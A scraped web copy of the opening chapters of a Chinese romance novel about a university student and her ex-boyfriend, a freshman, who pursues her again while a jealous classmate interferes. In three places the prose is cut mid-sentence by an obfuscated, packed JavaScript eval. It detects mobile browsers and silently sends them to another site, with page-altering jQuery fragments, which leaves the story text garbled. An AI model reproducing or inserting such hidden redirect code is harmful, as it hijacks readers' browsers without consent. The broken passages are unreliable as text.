《网恋对象是前男友》 1. 学姐 拥挤又闷热的大巴。 云眠第三次试图从紧闭的车窗中找到一丝缝隙，无果。只得悄无声息地转过头，尽力呼吸。 没办法，她的家乡太过偏僻，返校只能乘坐城际大巴。 又正值盛夏，躁动的热气像要把人给吞了。 不知第几次颠簸，大巴车终于停住脚步，车轮在地上翻滚发出咯吱的响声。 “首都大学到了，同学们有序下车！”司机高声喊，随后率先下了车，点起一支烟。 云眠转过脑袋，望向了窗外。车上估计得有一百来号人，乌泱泱的。她在最后一排，不喜欢拥挤，打算等所有人都走掉再起身。 一路暖阳伴着热浪，窗外的景象也从朴素老旧变得繁华，首都大学坐落于最繁荣的城市，高楼林立，四通八达，更是国内最高的学府。 人群散得差不多了。她正准备起身拿行李，忽而听见不远处传来几声细碎的讨论。 “哎，你快看这个帖子！听说下一届有个大帅哥，还没开学就出名了！还有照片！” “哦，我认识，他也是首都一中的。” “真的假的！？你认识他啊？” 云眠动作一顿，投去了视线。上车她便昏昏欲睡，全然没有注意到自己前面坐着的是付语容。 她的高中同学。 此时，付语容正侧过身斜倚着靠背，收回看向手机的视线，一只手拿起粉扑补妆。 抿了抿嘴上的口红，她话里带了些炫耀的意味：“他叫迟郁，首都迟家的少爷。” 闻言，对面的女生露出羡慕的神情：“真羡慕你啊，认识迟郁这种有钱有势的大帅哥！” 迟郁。 云眠轻轻挑了下眉，在嘴里轻声重复了一遍。 迟郁来首都大学了？ 她打开手机，38度的高温下，屏幕闪烁了两下才迟钝地进入微信页面。 没有消息。 迟郁没有给她发消息。 云眠面无表情地收起手机。此时人群基本都散去了，司机不知何时抽完了烟，正趴在门口发出催促声。 云眠站起身，仰头在座位上方的杂乱架子里来回翻找着自己的行李。 包太重，毫无防备地掉了下来，重物在极短的时间内砸向脚趾，瞬间的剧痛。云眠抿住嘴唇，惊呼声化作很小的闷哼。她皱紧了眉头。 明明是很小的声音。但坐在前排的付语容还是倏地停下了交谈，转过头，一双眸子上下打量着她。 云眠抬眼，目光恰好交汇。付语容没说什么，看了她两秒便转过头去，继续交谈。 忍着疼痛，云眠稍微缓了一会，弯腰捡起大包小包重新坐回了位置上。 神经在抽疼。 恍惚之间，她依稀听见女生甜美的笑声。 “对吧，我跟迟郁的关系还是比较暧昧的。” “那他是不是为了你才考来的啊！哈哈——” “哎呦，哪有这么夸张。我们只是关系比较暧昧的朋友而已。” “那语容你害羞什么嘛，现在又变成校友了，我等着听你们的好消息啦。” 等待她们离去后，云眠轻轻吸了口气，背着行李一步步走下了车。 - 几个小时的路程，饶是她不怎么流汗，此时也难免有几缕长发被汗水浸湿。云眠穿着宽大的T恤，从头到脚一身黑色，脸上却白皙地发光，一双眼睛漆黑又明亮，路过的一些大一新生频繁地回头望她。 云眠不喜欢被太多人关注，慢吞吞地缩进人群里，独自拖拉着行李箱。 大二开学，街上多了充满朝气的新生面孔，作为学姐，回到宿舍收拾好后，她得再去校门口迎接学校指定的需要她照顾的学妹。 想到这里，云眠忍住疼痛，脚步不免快了起来。 成堆的行李太过沉重，走了片刻后，她停在路边，短暂休息了几分钟。 正准备继续出发时，一个女生突然闯入她视线，目的明显地向她撞来—— “砰”的一声。 云眠跌倒在地，行李也顺势散落一地。行人也被惊到而后散开，形成了很小的包围圈，只有她和另外的女生。 膝盖传来疼痛，她皱眉，抬头便看见付语容半捂着嘴站在旁边。 云眠抬眼，对上她视线。 付语容似乎错愕了一瞬，下一秒，脸上笑得灿烂，话语间没什么歉意，反而带着几分窃喜：“不好意思啊，同学，你没事吧？” 与她结伴的女生此时也带着若有若无的敌意，想来是听了不少她的坏话。 “同学，你怎么不说话啊，我真不是故意的，你不要生气啊。”付语容微微俯身，伸手装作要将她扶起。 云眠眯了眯眼，无视她伸出的手。沉默着独自收拾好了散落一地的东西，强忍着膝盖的疼痛站了起来。 “付语容，你不需要这样的。” 从高中起，付语容便莫名将她视作同样追求迟郁的假想敌，用尽手段排挤孤立她，哪怕这些手段在她看来有些幼稚。 见她沉默，云眠看了她半晌，视线一转，突然轻笑一声，低下了头。她的发丝遮住了半边面颊，盯着自己膝盖的伤痕，一圈，又一圈。 在别人看来，她似乎透明又脆弱。从小便是这样，云眠知道自己的长相十分无辜，颇具欺骗性，在遇到不想自己处理的场面时，她便总会使用这一招。 “你什么意思？”见她垂下头，付语容嘴角抽了下，倏地提高了声音，“我都说我不是故意的了，你在装什么，你装这个样子给谁看——” 她声音越来越小，最后竞突然停止了说话，整个人变成了一幅娇羞的模样，脸上露出浅浅的笑意。付语容长得精致，今天穿了漂亮的小裙子，看起来格外惹人怜爱。 她脸上浮现出喜悦，笑意盈盈招手：“迟郁——” 闻言，云眠随之转过头。 迟郁正在不远处。 他身量高挑，肩宽腿长，迈起步子脚下生风一般，一路迎着女生的目光走来。 哪怕穿得简单，也难掩帅气，迟郁的一张脸生得极为好看，高鼻梁，嘴角总漾着笑意，一双桃花眼看起来多情又浪荡，偏偏眼睛黑得像夜，扫视过来的视线不带一点情绪，高傲又冷淡。 他面无表情，却总又带着几分审视的意味。 云眠仅和他对视一秒，便错开了视线。 再次对上他的目光时，云眠赶紧往旁边挪了一步。 似乎是，不想妨碍他和付语容的交谈。 迟郁一愣。 而付语容此时已经迎了上去，嘴里又喊了一声“迟郁”，听起来缱绻又柔情。 云眠不想掺入这种场面，她会起鸡皮疙瘩的。于是攥紧了行李准备离去。 可迟郁却和付语容擦肩而过。 留下僵在原地的付语容，脸上还挂着笑意。 迟郁一步没停，直直地走向云眠。 一双不近人情的眼睛凭空添了几分笑意，像化开的冰，淅淅沥沥的。 他开口，声音好听又富有磁性。 “学姐，你拿这么多行李，怎么不找我帮忙？” 学姐。 他们谈恋爱时，迟郁有时会这样称呼她，如同第一次见面。 在分开后，他仍然喊着。每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621170|187894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一次都让云眠阵阵发麻，想起过去种种回忆，心脏揪着生疼。 直到那次她神情严肃又认真，眉头紧皱，像对着自己最厌恶的人，用力地、狠狠地推开了迟郁。 她声音冷到极点，不含一丝温情：“你这样叫我，让我很恶心。” 迟郁愣住，一双眼睛满是不可置信，随后是一闪而过的伤心。 也对，应该从来没有人如此敢对待迟郁。 沉默半晌，他又抬起头，收敛起所有情绪一般，拉住她手腕，声音沙哑像在示弱：“我知道了，以后我不这么叫你了，你别生气了。” “好不好？” “你拿这么多书太沉了，我来给你搬——” 那时高三，云眠一把甩开了他的手。 回过神，云眠慢半拍地垂眸，那双被曾经她甩开的手，再一次地搭了上来。 迟郁学钢琴，一双手保养得干净又光滑，手指修长，骨节微凸，看起来纤细又有力量，指尖正轻轻划过她手心。 而此时，迟郁已经接过她手中的装着东西的袋子，弯腰一个个地拾起行李，神情满是认真，似乎在对待极为珍贵的东西。 见云眠没有说话，他再一次开口，语气有些委屈。 “你怎么不理我啊，学姐。” 他低头，碎发无意间扫过女生的额头。 这么近的距离—— 云眠面色一变，顿时后退了一步，却因膝盖的疼痛，皱了一下眉头。 迟郁顺着她的视线望去。 黑色短裤下露出修长白皙的小腿，脚踝细得像一只手便能握住，膝盖上的血痕低落到脚腕，再往上，是猩红可怖的伤口，磕进几颗小碎石。 云眠有些别扭，往下拽了拽裤脚。 迟郁仍然没有移开视线。 云眠有些着急，她生得白皙，本就容易脸红，此时脸上已经泛起了红晕：“你……你别看了。” 迟郁收回视线，看向她紧抿的粉唇，良久哑然开口：“好，学姐不让我看，我就不看了。” 没等云眠说话，不远处的付语容冲了过来，脸上写着生气，却在看向迟郁时，撩起头发，褪去愤怒：“迟郁，你刚刚是没看见我吧？好巧呀，我们又一起上学了。” 她扭头，声音依旧甜得发腻：“云眠，你也太不小心了吧，刚开学就摔了一跤。” 她上下扫视着云眠，对女生不加修饰却依旧清丽的脸蛋格外不满。 云眠整个人透露出病态的白，一头乌黑及腰长发，脸很小，眼睛占据了半张脸一般，哪怕穿着极其普通也难掩姿色。最让付语容厌恶的，是那双总泛着清纯与无辜的眼睛。 付语容浅笑着，暗暗讽刺：“你看你这大包小包的，左一个塑料袋又一个塑料袋，还不如买个大点的、贵点的行李箱呢。不然也不会自己绊倒了，对吧？” 云眠没说话。 她多数行李已经被迟郁接过，手里仅剩下一个包。 腿上的伤口在隐隐作痛。 周围的空气逐渐变得迟缓又浓郁，云眠垂下眼睛。 “迟郁。”付语容向前一步，伸手似乎想挽他，“你来学校怎么没跟我说一下呀，早知道我就去接你了，我们还可以在旁边玩一下。” 闻言，迟郁这才缓慢地转过身，收回黏在云眠身上的炽热视线，扫了一眼旁边的付语容。 几秒种后。 “你在跟我说话？” 迟郁露出惊讶的神色，侧身一步，顺手挽上了云眠的胳膊，“云眠学姐，你认识她吗？ 他的手指轻轻擦过云眠的手臂，带着几分意味不明的撩拨，慢慢蹭了一下。 2. 心疼 这声“云眠学姐”叫得她头皮麻了一瞬。 迟郁的声音是她听过最好听的，喊起名字来磁性又清冷，尾音上扬，透着一股慵懒又漫不经心的劲儿，撩人至极。 更何况。 从前两人接吻时，迟郁最喜欢这么喊她。 迟郁喜欢靠近她，直至两人的距离仅能透过细腻的空气。他一声声叫着“云眠学姐”，而对面的云眠艰难地呼吸，抬起头便对上他漆黑的眼睛，灼热的满含爱意的视线。 他一字一顿地、缓慢地摩擦着她耳垂，含着笑意，恶趣味地问道：“云眠学姐，你在抖什么？” 云眠心下倏然一紧。一种酸涩又拧巴的感觉翻涌上来，像一根针穿透穿透她的心脏，反复凌迟。 所有人都认为，是迟郁甩的云眠。 毕竟迟郁是众所周知毋庸置疑的主导者与上位者。 也对，没有人不知道迟郁是迟家的少爷，有钱又有势。而迟郁从小便被当作继承人培养，虽然性格散漫，随心所欲，甚至有点喜怒无常，但举手投足间总透露出生人勿进的高傲与矜贵。 他在哪都是人群中的焦点与核心，但与所有人都保持着距离感。人人都道，迟郁高高在上，与他们不是一个世界的人。 而云眠是再普通不过的家庭，甚至连大学的生活费都需要她在网上兼职烫花来赚。 他们本就不是一路人。 这是无数人告诉云眠的道理。 校医室空无一人，半开着的门窗灌入热气。云眠坐在靠内的单人床上，眼前倏地闪现出刚才的场景。 “迟郁，你说什么呢，你不认识我？”付语容似乎因为迟郁的话有些不堪，但仍保持着笑容，抬着脸解释道，“我们一个高中啊，当时不怎么化妆，你认不出我啦？” 云眠被他禁锢，抽不回胳膊，只能装作毫无反应，暗自期待着迟郁的回答。 他会怎么说呢？不认识，还是没认出？ 但迟郁什么也没说。 他沉默，时间久到云眠都有些困惑，抬起了头，正对上他的视线。 而旁边的付语容仍在滔滔不绝，将她的朋友也牵扯进了单方面的聊天。 交谈声逐渐成为背景音，迟郁看了她半晌，皱了皱眉：“疼吗？” 云眠反应过来，他在问她的腿，于是摇了摇头。 迟郁没理会她的拒绝，另一只手半揽住她的肩膀，半虚半实地接触着：“我带你去医务室。” “不用了……！”云眠挣脱。 “那我抱你去。” 云眠一顿，倏然挣脱了他的怀抱。 付语容停下了讲话，此刻有些难掩尴尬。云眠清晰地听见旁边的女生悄声询问：“语容，你不是说迟郁是你的朋友吗？怎么好像……” “……”看了眼搭在云眠肩膀上的手，付语容露出了笑容，“云眠也是我的朋友啊，不小心摔到了，看来是该去处理一下，要不要我帮忙？” “帮忙？”迟郁突然停下了动作，仿佛刚注意到她一般，居高临下地扬起下巴。 气氛不太对劲，付语容没敢和他对视，自顾自道：“对……我可以帮忙把云眠付去医务室啊，或者她的行李什么的。” 迟郁突然轻笑一声，打断了她的自告奋勇。他胳膊还搭在云眠的肩膀上，声音也没了方才和云眠说话的柔和，冷冷道：“你最好是离她远点，别再耍你的小伎俩。” “尤其是，不小心把人绊倒。” 他话里带着几分警告。 付语容愣在原地，说不出一句话。 - 开学第一天，工作空闲，又正值中午，校医查看过伤口后，简单开了点药，嘱咐了几句便离开去吃饭。 迟郁抢在她之前接过了酒精与纱布。 云眠伸手阻拦，手指不经意间触碰了一瞬，她很快地收回手，木讷道：“我自己来。” 迟郁没说话，但嘴角明晃晃地勾起。 云眠两腿屈着，热风穿梭过敞开的门，竞带着丝凉意。她低头，看见迟郁半跪着，轻轻扶着她小腿，嘴角不由得绷紧：“你别跪着……” “好啊。”闻言，迟郁顺从地松开她腿，冰凉的酒精划过，留下一道透明的痕迹。 他从旁边拿来凳子，坐好后，忽然反手，抬起云眠的腿。 随后搭在了自己腿上。 ……太暧昧了。 云眠不语，感受着裸露的肌肤相贴的触感，脸越来越红，表情却没有什么变化。 她没有反抗。 来医务室的路途上，迟郁半挽着她的胳膊，一张脸上写满了焦急。 她觉得自己挺坏的。 高高在上的迟少爷竟然会有这种表情。 手机在此刻不合时宜地响起，打开消息，云眠顿了一下。 是学妹发来的，说她快到学校门口了。 [眠眠：我马上去。] 回复完，云眠低下头，迟郁正认真地涂抹她每一寸伤口，眉头紧皱。 像在心疼。 云眠摇摇头，抛开与她无关的想法，试探道：“我得去接学妹了。” 迟郁沉默片刻，在云眠思考他是不是没听到时，他不紧不慢、一字一顿地开口：“学妹比我还重要么。” 像肯定句，于是他自问自答。 “……比我重要不要紧。比你的伤还重要么？” 云眠不知该怎么回答，而迟郁似乎也没想要答案，只是自顾自地继续道：“行李放到你宿舍门口了，上楼的时候慢一点。” 他看着刚涂好的拳头般大的酒精，缠绷带的手很轻，似乎怕弄疼了云眠。 空气里满是沉默。 云眠垂眸，看他看得认真。 直到绷带缠好，迟郁细心地打了个结，他抬头看着云眠，像心有灵犀般：“……那个女的，我之前真的不认识她，云眠。” 云眠的手悬在半空，最终还是收回。 半晌，她“嗯”了一声。 - 一个人从医务室走到校门并不容易。云眠一瘸一拐，感觉自己吸引了一整条道的目光。 看起来太惨了，腿上还包着纱布，纱布上打了个蝴蝶结。 但她还是拒绝了迟郁的帮忙。 两个人的交集到这里就可以了。 其实，云眠始终觉得迟郁在撒谎。自从分手后，付语容无数次地在她面前炫耀与迟郁的点点滴滴，那些话曾经像刀子般刺痛着她的耳膜。 她不能忘记。 迟郁就这么忍不住？ 刚刚分手，就要勾搭别人。 每次回教室，付语容春风得意的表情和她的麻木形成鲜明对比。 其实，她也不想分手的。 云眠装作听不见，握着中性笔的手却在颤抖，那一整节课，她连最简单的数学题都做不对。 云眠最讨厌数学题，但最终还是在高考志愿表上填报了数学系。 ……最喜欢迟郁，但只能分开。 哪怕是她提的。 云眠突然有点儿想迎着风哭一会，假装自己是被风吹的，被热的。 但她已经到了校门口，隔着老远便看见了新生学妹，正朝她招着手。 云眠收起情绪，挤出了一个笑脸。 “学姐，你长得好漂亮呀！”小学妹有着大一新生特有的蓬勃与朝气。 “谢谢。”云眠被她感染，心情好了一点，“不好意思，我腿伤了，不能帮你拿太多行李。” 学妹的行李堆得比自己还高，看起来十分有威慑力。 “没关系啊学姐！我知道你腿受伤了，我已经找到别人接我了。” 云眠顿了一下。 只听见学妹继续说道：“准确来说，是一个帅气的小哥哥帮我找的，喏！他来了。” 云眠僵硬地转过头，只见那“帅气小哥哥”正站在她背后，露出礼貌又客气的微笑。 “你好，学姐，麻烦你了。” “……迟郁。” 听见她叫自己，迟郁眼睛亮了一瞬：“哎。” 云眠真的很想知道，他为什么要这样。 未等她开口，远处人群中传来甜美的声音，付语容边招手边往这儿跑：“迟郁！” 找到一对一迎接新生的名单后，她费了很大力气才联系上迎接迟郁的男生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621171|187894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，短暂交谈后，男生便爽快地答应了和她交换，并且露出羞涩的神情询问付语容，有时间能不能一起吃饭。 付语容表面答应，内心却翻了个大大的白眼。 也不看看自己长什么样，配得上我吗？ 时隔一年又能和迟郁同校，她一定要拿下迟郁。见过太多大学的男人，或丑，或穷，或普通又自信，付语容更加坚定了要追到迟郁的决心。 云眠都可以，她不信自己不行。 更何况。 云眠根本没有那么单纯，如果不是自己曾偶然撞破过她的真面目，怕不是也会被她无辜的外表欺骗。 迟郁一定是被她骗了。 门口人太多，付语容蹬着短高跟走了半天才找到迟郁那张帅脸，她高兴地喊了一声，便朝着那儿跑去。 可没走几步，她便看见了旁边的——云眠。 怎么又是云眠？？ 付语容有些控制不住自己的表情，她刚刚怎么不用高跟踩死云眠？？？ 越来越近，她喘了口粗气，扬起标志性笑容：“迟郁，你怎么在这儿啊？” “云眠，今天按名单是我来迎接迟郁，你可以去其他地方了呢。” 云眠点头，却被迟郁拉住了胳膊。 “我跟这个学妹交换了一下，现在是云眠学姐接我。”迟郁个子高，此时竟然恬不知耻地俯下身子，整个人半挂在了云眠身上。 云眠被他压得踉跄了一步。 看见这一幕的付语容咬紧下嘴唇，不客气地道：“云眠，你觉得这个事你说了算？” 说着，她便抬手想拽开云眠。 迟郁抓住了付语容的手腕，只一瞬，便狠狠扔开，像躲避什么脏物。 “怎么。不算？” 他声音发冷，付语容顿时僵在了原地。 总记住迟郁对云眠的百般宠溺，她下意识将自己放在了迟郁未来女朋友的地位上。却忘了——除了云眠，任何人都该对他客客气气。 付语容知道，她可能要惹到迟郁了，身上像有蚂蚁在爬，煎熬了半天，她转身拽起了旁边吃瓜的学妹：“走吧，我帮你搬行李。” - 目睹了付语容扛着行李带着学妹艰难离去后，云眠站在原地，没有反应，不知在想些什么。 迟郁手指蹭着她发丝，用余光悄悄观察着她。 瘦了。 和之前比，瘦太多了。 云眠虽不高，但身材匀称，此时比上次见面瘦了一圈。黑色长发被风轻轻吹起，精致的脸上没什么表情，穿着宽宽大大的衣服，整个人像在里面晃荡。 她本就白，现在整个皮肤透着一种营养不良的、病态般的白皙。 ……早知道她会把自己折腾成这样。 当时就厚脸皮一点，赖着不分手了。 迟郁本来不想这么早便见到云眠的。 迟大少爷也有脾气。 高考完后，那一日的阳光格外长。他如释重负地打开手机，第一件事便是给云眠发送消息。手指颤抖，激动又兴奋，明明高考对他来说是可有可无的，不上大学也是可以的，但迟郁难掩心中的喜悦。 云眠曾说，如果他考上首都大学，就和他在一起。 迟郁眉眼弯起，勾出好看的弧度。 但迎面而来的却是一盆冷水，从头到脚将他浇透。 [cy：我考完了！感觉挺好的，应该能上首都大学。] [cy：那……你之前过答应我的。] [眠眠：恭喜你，我有事情，先去忙了。] [cy：等一下！云眠，你是不是……不喜欢我啊？] 她的逃避让迟郁焦急，慌乱之下，他问出了藏在心中许久的问题。云眠喜欢他吗？ 答案让人心乱。 迟郁低着眼睛，发送了一行违背心意的字。 [cy：我早就不喜欢你了。] 但他还是填了这个志愿，像高三时无数次练习的那般。 原想瞒着云眠，再在某一次意外相遇中相见。可看见独自一人的云眠，散落一地的行李，失落的表情。 他情不自禁。 3. 蝴蝶结 恹恹地回到宿舍后，云眠的两个舍友立马围了上来。 她们是四人寝，剩下一个舍友还没返校，屋子里一股许久未透气的潮湿霉味，云眠掩住鼻子轻轻咳嗽了一声。 徐燕正抱着被罩，凑到她面前，很是兴奋：“眠眠，刚刚给你把行李送来宿舍的帅哥是谁啊？” “……朋友。”不知该怎么定义她与迟郁的关系，云眠挑了一个折中的词汇。 “长得好帅呀，是新生？”徐燕是八卦狂，最爱听这种消息。 另一个舍友刚把床单铺好，从她的视角，轻松地看见云眠绑着纱布的膝盖：“云眠，你腿怎么了？” 云眠顺着她的目光，只见迟郁创作的蝴蝶结还乖乖地待在上面。 “摔了一跤。” 与迟郁的性格不同，他打出来的蝴蝶结总是规整的、乖巧的、精致的。高中时，他给云眠买了很多种发带，并且会亲手系出最为完美的蝴蝶结，随后注视着云眠，眼睛像盛着一汪水，温柔又明亮。 他总说：“这样的才配得上我们眠眠。” 那时候，听见这话的云眠总是愣住，在心里自嘲般地反驳，正如她无数次被别人评判一样。 不，云眠不配。 他的蝴蝶结一成不变。 似乎是注意到云眠有些低落的情绪，舍友林晓琳将最后一角床单塞好，从抽屉里拿出一些包扎工具：“给，要换纱布了跟我说，我帮你。” “哎，眠眠，你腿这样了怎么去接学妹啊？我俩帮你去吧，刚好我们都接完了。”徐燕有些担忧地和林晓琳对视了一眼，提议道。 “不用不用，我已经接完了。”云眠接过工具，道了谢，将门口的行李推了进来，“我先收拾一下，待会一起去吃饭吧。” 在车上时，她的行李不慎掉落在地，被绊倒后，又砸落了一地。她匆匆看过一眼，只记得很多瓶瓶罐罐都摔开了盖子，流出的液体和洒出的固体混成一片，她的行李本该十分惨不忍睹。 但迟郁都给她收拾好了，用纸巾擦干，塑料袋也换成了新的。 ……迟郁竟然还挺细心的。 云眠挑了下眉。 “那个，眠眠。”徐燕已经上了床，笑着问道，“你的帅哥朋友有没有对象啊？有没有喜欢的人啊？” “……不知道。” 没有骗人，云眠真的不知道。 毕竟就在几个月前，迟郁亲口所说已经不喜欢她了。 不知道迟郁有没有，喜欢上别人。 云眠嘴角弯了一下。 - 付语容和学妹离开后，人群也逐渐散去，时间晚了，偌大的校门口只剩下他们两人。 云眠抬起头，询问：“你的行李……？” “学姐，我没有行李。”迟郁摆摆手，勾了勾嘴角，“只有我自己，学姐是要背着我么？” 他笑得狡黠，一副想要做坏事的模样，但这神色浮现在他脸上，却不违和，也不讨人嫌，反而多了几分人情味和孩子气。 未等她回答，迟郁再次贴了上来，强壮有力的、青筋显现的胳膊若即若离地贴着她手臂，滚烫的，跳动的。 怎么这么幼稚。 云眠在心里暗暗想。 许久未见，迟郁现在怎么老贴着她。 于是，她不动声色地往旁边挪了一步，语气生冷又僵硬：“那我先带你逛逛校园吧。” 首都大学占地面积很广，建筑林立，迟郁说自己是钢琴系的，云眠便带他向右走，打算先看一下艺术学院的位置。 迟郁跟在她身后不远处，却在第一个岔路停住，出声道：“学姐，我想先往这边走。” 云眠不解，但随着他去。没过多久便察觉出了不对劲。 ——这离她的宿舍越来越近。 “云眠。”迟郁不知何时已经和她并排而行，此时走了两步超越了她，停住，转身。 他双手交叉，随意地放在脑后，一副漫不经心的松散模样：“腿疼就少走路，上去好好休息。” 云眠一愣，下意识说：“那你不逛了吗……？” 迟郁笑了一声。 他不需要逛。 他对这里，早已熟悉至极。 - 夕阳落下，日光在楼前折了个角，直直地射入走廊，落下一长串的红晕。 云眠放好了最后一个东西，恰巧此时舍友也下床，打着哈欠：“对了，眠眠，我们得快点吃。刚刚班长发消息说大一的观众不够了，从大二调了些，按学号来安排，轮到我们宿舍了。” 云眠应了声，她这才打开手机，看见班长前不久发来的通知。退出去，迟郁的消息躺在列表第一个，时间显示是刚刚。 [迟郁：我回宿舍了。] [迟郁：盯.jpg] [迟郁：小猫原地360打滚.jpg] 刚刚。 [迟郁：要不要请刚上大学的小迟郁吃顿饭。] 似乎是应该请。 迟郁今天帮了她挺多忙的。 不过。 [眠眠：什么时候？] [眠眠：今天的话，可能得晚一点。] 云眠盯着屏幕上方的“正在输入中”看了半天，直到它又变回“迟郁”两个字。 [迟郁：没关系，我等你^_^] 他又发来了小猫躲在门口偷窥的表情包，云眠点下了保存选项，打算把小猫封存在自己的图库里。 - 今年的新生开学典礼比以往都更加盛大，红毯从大门口铺到礼堂，五光十色的彩灯直射，映亮了半边天。 云眠她们来得早，临时被派去帮忙搬道具。 徐燕咽下最后一口鸡蛋灌饼，有些不满道：“我们是特意赶过来的！我饭都没吃饱！竟然被指使去干活？” 后台杂乱，一堆桌子椅子被随意地堆着，云眠顺手拿起，安慰道：“没事，我们快一点，很快就搬完了。” 几趟过后，徐燕累得上气不接下气，几人便打算在后台休息一会儿。林晓琳陪她去接水，云眠独自一人坐在桌子上歇息。 她穿得黑，几乎和幕布融为了一体。没过多久，恍然间听见不远处传来交谈声。 “语容，班长不是让我们来帮忙吗？我们这样一直摸鱼是不是不太好。” 付语容嗤笑了一声，撩起耳边的头发：“他也配使唤我？” “不过我们为什么要报名来当观众啊，都大二了躺在宿舍里多好。” “你傻呀，当然是来看帅哥呀！听说今天的主持人很帅啦！而且——他可是语容的朋友。” “真的假的！” 闻言，付语容单手撑在了桌子上，老旧的木头发出摩擦的吱嘎声。 云眠听见她的声音响起，在嘈杂的后台中，清晰又直白：“当然了，他刚刚还给我发微信呢。我们第三排的位置也是他给的。” “说什么想在台下看到我，嘁。所以我只能来咯。” 随后是一阵调笑与八卦的声音。 云眠别过头，撩起及腰的长发。 她不理解。 从刚刚迟郁的表现来看，他并不想见到付语容。 那么，付语容为什么要臆想？有这时间，不如做点其他事情。 当然，也不排除，迟郁对她撒谎了。 云眠低头，撑着桌子滑了下来，但由于旧桌子并不牢固，突然发出“吱嘎”的响声。 云眠愣住，屏住了呼吸。 交谈声戛然而止。云眠站在幕布后，没有动作。 “云眠！”喝完水的舍友大老远冲着她摇胳膊，云眠顾不得关注付语容有没有看到她，半蹲着身子跑回了舍友身边。 入座时，她刻意地选择了最后一排。林晓琳最后一个坐下，疑惑道：“前几排还有位置啊，你没看到吗？” 云眠摇了摇头。 看见了。 但是，付语容坐在前几排，还说迟郁是今晚的主持人，特意邀请她前来。 云眠无声地挑了下眉。连她都不知道，迟郁是主持人。既然迟郁不想看见自己，那她去凑什么热闹？ 全场安静了一瞬，开学典礼开始，整个礼堂又逐渐热闹了起来。大一的新生总是充满好奇，正热烈地讨论着开学典礼的节 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621172|187894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目单，云眠和舍友们一样，沉默着拿出了手机。 她的交易平台发来了一条新消息。 [hxhymzmb：在吗？] [眠眠：在。] [hxhmmzmb：发送图片] [hxhmmzmb：这个能做吗？] 云眠定睛看了几秒，有些出神。 升入大学后，她顺从妈妈的要求选择了数学专业，为了能够继续学习她喜欢的古典舞，仅仅兼职是不够的，她便在平台上接单制作烫花来赚钱。 这个默认头像，昵称也是一团乱码的人，发来的图片……正好是她高中做的第一支烫花，也是她最拿手的白色洋桔梗。云眠敲动键盘打下了几个字。 [眠眠：可以的，你要多少？] [hxhmmzmb：10000支？] ……？ 云眠差点冲动之下甩过去一个问号。 几秒种后，消息再次发来。 [hxhmmzmb：不好意思，打错了，是100支。你慢慢做就可以。] 随后，对方便十分爽快地付了钱，扔下一句“我先下了，你做好发我:-)”便消失了，头像也灰了下去，连交货时间都没有要求。 云眠在网上仔细地挑选材料，点下支付按钮后，礼堂猝然陷入了黑暗。 下一秒，灯光亮起，聚焦成一束纯白的洁净光束，照在舞台中央。 迟郁站在那里。 自信又从容，仿佛天生就该被照耀着。 他穿着正装，西服自然地贴合他身体曲线，整个人高大又挺拔。一张脸精致且无可挑剔，在灯光照耀下帅得让人无法呼吸，他嘴角挂着一抹似有似无的笑意，一双眼睛平静地毫无波澜地扫视所有观众，高贵又桀骜。 光也为他作陪衬。 迟郁的目光不可一世，唯独在看到某个地方时亮了一瞬。 他举起话筒，声音磁性又低沉，经过音响的加工显得格外清亮：“大家上午好，我是今天的主持人。” “迟郁。” 随着他的声音起伏，礼堂内也从寂静到掌声四起。 徐燕看得出神，突然像发现了什么一样，拽了拽旁边的林晓琳：“我靠！这不是今天给眠眠搬行李的大帅哥吗！” 此时的云眠正垂眸发呆，她在规划做烫花的时间，不想抬头去看台上的迟郁，却无法避免他的声音萦绕在耳边。 不可否认，迟郁真的很有魅力。 是她这么多年见过的，最有魅力的人。 - 也不知过了多久，音响中的伴奏切换了几次，上一秒还沉浸在音乐与舞蹈中的云眠突然发现，空无一人的台上，迟郁再一次眼含笑意地走了出来。 他身高腿长，身后跟着的几人抬着道具紧赶慢赶才追上。 迟郁站定，清了清嗓子，视线从第一排滑到最后一排，笑意更显：“下一个环节是，抽几个幸运观众上台互动。” 此刻正坐在第三排的付语容直起了身子，她早就向别人打听了这一环节。抽几个人上台和迟郁互动，以此来宣传学校。 她刻意穿得精致又显眼，和这一群土包子不一样，又坐在这么靠前的位置，迟郁就算瞎了也能看见她。 想到这里，付语容勾了勾唇，扬起漂亮的脸蛋看向迟郁。 “最后一个，好纠结呀。” 抽完了校方安排的固定观众后，迟郁顿了一下，收回了手。 摄像机拍摄的大屏幕恰巧捕捉到他手指退去的一瞬，引起观众席的几声尖叫。 “就不抽了吧，我自己想一个号码。”迟郁笑了笑，眉目含情，一张帅脸被放大几倍投射在大屏幕上。 “12，6。” 第十二排，第六行。 